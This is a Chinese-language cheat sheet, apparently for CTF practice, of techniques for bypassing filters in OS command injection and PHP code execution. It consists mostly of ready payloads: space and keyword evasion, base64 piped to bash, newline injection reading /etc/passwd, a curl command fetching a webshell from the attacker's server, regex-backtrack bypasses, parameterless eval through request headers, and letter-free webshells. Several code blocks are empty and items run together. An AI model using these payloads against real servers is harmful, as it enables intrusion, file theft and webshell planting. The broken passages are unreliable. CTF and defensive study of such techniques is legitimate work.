系统命令执行常用绕过方法
系统命令联合执行
1 | ; 前面的执行完执行后面的 |
过滤指定字符串
cat fl*g.php": 使用通配符tac f???????": 使用通配符nl fl*g.php: 过滤cat、tac命令cp fl*g.php 1.txt | cat 1.txt: 间接访问 1.txtca\t /fl\ag: linux 可以加\ca''tca${Z}ta=g;cat fla$a.php: 使用变量覆盖b=ag;a=fl;cat$IFS$1$a$b.php
echo Y2F0IGZsYWcucGhw|base64 -d|bash: 使用 base64 加密cat flag.php利用管道 + sh/bash 替换
此外,当 cat 等命令被过滤时,也可以使用如下方式来进行命令执行
/bin/ca*/bin/ca?
该类型的过滤,都可以尝试使用在
/bin/目录下的可执行程序
过滤空格
%09: TAB{$IFS}${IFS}$9$IFS$9: 貌似 1-9 都可以IFS<><{cat,flag.php}: 用逗号实现空格的效果,需要用{}包裹%0a%20: 空格的 URL 编码
可以依次尝试,不一定全都可以绕过
过滤目录符号 /
使用多个 cd.. 一级一级寻找,如下所示:
1 | cd ..%26%26cd ..%26%26cd ..%26%26ls |
无字母命令执行
如果过滤了所有字母,想要执行命令,也可以使用 $'...' 语法定义包含转义序列的字符串
如 ls 变为 $'\154\163' ,cat * 变为 $'\143\141\164'%20*
此外,还有一个特殊的命令 . ./*
这个命令会尝试执行当前目录下所有脚本中的命令(包括以 .jpg、.png 命名后缀的脚本),可以配合文件上传使用
如上传一个shell.jpg,内容如下:
1 |
|
然后执行 . ./* 命令,可以成功执行 ls 命令(有一个前提,就是要执行的 shell.jpg文件必须在目录排第一个否则通配符是无法识别的
无回显命令执行
可以使用 tee 命令将命令执行结果写入文件,然后通过读取文件的方式获取命令执行结果
tee命令的常见用途是将命令的输出保存到文件中,同时将结果显示在终端上
1 | ls | tee 1 |
curl 下载服务器木马
在自己的服务器上上传木马,如 /usr/share/nginx/html/1.php
然后在命令执行点传入如下命令:
1 | curl vps-ip/1.php -o 1.php |
如果不指定服务器资源文件,那么会默认下载服务器的默认文件(如 index.php、index.html)
1 | curl vps-ip -o 1.php |
即可将 1.php 下载到目标服务器
绕过 preg_match
换行符绕过
特殊字符 . 匹配任何字符,除了换行符 \n、\r
1 |
|
因此可以使用 %0a 来绕过
1 | ?a=%0aflag |
如果使用 /s 修饰符,即 /^.*(flag).*$/s,则 . 会匹配包括换行符在内的所有字符,%0a 无效
在非多行模式下, $ 似乎会忽略句尾的 %0a
1 | if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') { |
只需要传入
1 | ?a=flag%0a |
在多行匹配模式 /m 出现换行符 %0a 时,会被当成两行处理,而此时只可以匹配第1行,后面的行会被忽略
1 |
|
上例中使用了多行匹配,因此可以构造如下 payload:
1 | ?ip=127.0.0.1%0acat /etc/passwd |
PCRE 回溯次数限制
PHP 使用的 PCRE 库使用 NFA 作为正则引擎,其设定了一个回溯次数上限 pcre.backtrack_limit,该值默认是100万
如果我们的回溯次数超过了100万,preg_match 会返回 false
所以可以通过发送超长字符串的方式,使正则执行失败从而绕过限制
示例代码如下:
1 |
|
POC 脚本如下,这个脚本模拟了一个文件上传的操作
1 | import requests |
PHP 命令执行
常见系统命令执行函数
当题目过滤某个函数时候,可以尝试使用其他函数
system()passthur()shell_exec()echo `cat flag.php`: 反引号(用于命令替换,即将反引号中命令的输出作为另一个命令的参数。也就是说,命令替换会先执行反引号中的命令,然后将其输出作为外部命令的一部分进行处理
PHP 不需要括号的函数
echo 123print 123include "/etc/passwd"require "/etc/passwd"include_once "/etc/passwd"require_once "/etc/passwd"
可以在题目中过滤了括号的情况下尝试
使用 eval 嵌套传参
1 | ?c=eval($_GET[1]);&1=passthru("cat flag.php"); |
使用文件包含和PHP伪协议
例题如下:
1 | if(isset($_GET['c'])){ |
可以使用下面的payload来绕过
1 | c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php |
原理:
include$_GET[1]运用了文件包含漏洞,作用是包含参数1的文件%0a是 url 回车符,因为空格被过滤,但在 eval() 函数中,会自动给字符串和变量间添加空格,因此可以不加?>php 定界符,用于绕过;,其原理是 php 遇到定界符会自动在末尾加上一个分号,简单来说就是 php 文件中最后一句在?>前可以不加;
过滤 ' "
将字符用 chr() 转义
如 var_dump(scandir("/")) => var_dump(scandir(chr(47)))
var_dump(file_get_contents(/flag)) => var_dump(file_get_contents(chr(47).chr(102).chr(97).chr(108).chr(103))))
无参数读文件和命令执行
无参数指的是由于题目过滤限制,只能使用不带有参数的函数进行文件读取或命令执行
查看当前目录文件名
查看当前目录文件名命令 - print_r(scandir(".")); & var_dump(scandir('/'));
此外打印函数还有:
var_export()- …
列出文件名函数还有:
glob('../../..'.'/*.php'): 列出指定目录上的所有匹配文件名
该命令需要构造参数里的 "." ,有以下构造方法
a).
1 | print_r(scandir(current(localeconv()))); |
localeconv(): 该函数返回一个包含本地数字及货币格式信息的数组,数组第一项就是"."current()函数返回数组中的单元,默认为第一个值。除了current()函数,还有:pos()函数是 current 的别名reset()该函数返回数组第一个单元的值,如果数组为空则返回 FALSE
b).
1 | chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))) |
该方法借助 phpversion() 返回PHP版本号,然后通过一系列函数计算得到 "."
c).
getcwd(): 获取当前工作目录的路径
因此可以构造下面语句输出当前文件夹下所有文件名
1 | print_r(scandir(getcwd())); |
读取当前目录文件
如果文件不能直接显示,比如PHP源码,则还需要函数进行读取,读文件函数可以使用如下:
readfile()(显示在源码处)file_get_contents()(显示在源码处)highlight_file()readgzfile()show_source()
在禁用某些系统命令执行函数,如
system("cat flag.php");时,也可以尝试直接使用读取文件函数,如c=highlight_file("flag.php");
a). 如果要读取的文件位于 scandir(getcwd()) 函数得到的数组中的最后一位,则可以使用下面方法:
1 | show_source(end(scandir(getcwd()))); |
b). 如果要读取的文件位于数组第一个,则可以使用 array_reverse() 以相反的元素顺序返回数组:
1 | show_source(current(array_reverse(scandir(getcwd())))); |
c). 如果要读取的文件位于数组倒数第二个,则可以使用 next()函数将数组内部指针向前移动一位
1 | show_source(next(array_reverse(scandir(getcwd())))); |
d). 如果不是上述情况,则可以使用 array_rand(array_flip())
array_flip(): 交换数组中的键和值array_rand(): 从数组中随机返回一个
所以可以构造下面语句,并多刷新几次尝试读取 flag.php:
1 | show_source(array_rand(array_flip(scandir(getcwd())))); |
查看上一级目录文件名
a). dirname() 方法
该函数如果传入的值是一个绝对路径,则返回上一级目录,如果传入的是文件的绝对路径,则返回该文件的当前路径
因此可以构造下面语句,查看上一级目录的文件
1 | print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件 |
b). 构造 ".."
scandir(getcwd()) 返回的数组第二个就是 ".." ,所以可以使用 next() 函数获取
1 | print_r(scandir(next(scandir(getcwd())))); |
此外,还有其它方法,如:
1 | next(scandir(chr(ord(hebrevc(crypt(time())))))) |
读取上一级目录文件
直接使用 print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd())))))); 是不可以的,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录,使用 chdir() 来改变当前目录
1 | show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); |
无参数命令执行
传入的 code 不能含有参数,那就需要将参数放在别的地方,然后通过无参数函数来接收参数
a). getallheaders() 和 apache_request_hearders() 函数,该函数只能在 Apache 环境下使用,它的作用是返回所有的 HTTP 请求头信息
1 | ?code = eval(pos(array_reverse(getallheaders()))); |
上述代码返回请求头数组中的最后一个值并执行,因此我们可以在请求头中最后一位添加 MyHeader 达到命令执行的效果
1 | GET /bo0g1pop.php?star=eval(pos(array_reverse(getallheaders()))); HTTP/1.1 |
根据自己构造请求头位置的不同,可以结合前文方法构造获取不同位置的数组
b). get_defined_vars() 函数,该函数返回所有已定义变量的数组,这些变量包括环境变量、服务器变量、用户定义的变量
1 | ?flag=phpinfo();&code=print_r(get_defined_vars()) |
上述语句会打印出所有变量的数组,包括自定义的变量 flag=>phpinfo();
所以可以最终取到数组中自定义变量的值,最终造成命令执行,利用语句如下:
1 | ?flag=phpinfo();&code=eval(pos(pos(get_defined_vars()))); |
无字母数字 webshell
通过 [].Φ 来得到字符串 Array,然后便可以通过构造码表来拼接 payload
1 | // system('ls') |
上面依次把字⺟赋值给不同的 Unicode 码,如果想减少payload的长度,可以只⽤⼀个Unicode码遍历所有的字⺟,然后再取值我们需要的那个值,减少 unicode 码的使用
如下所示:
1 | # phpinfo() |
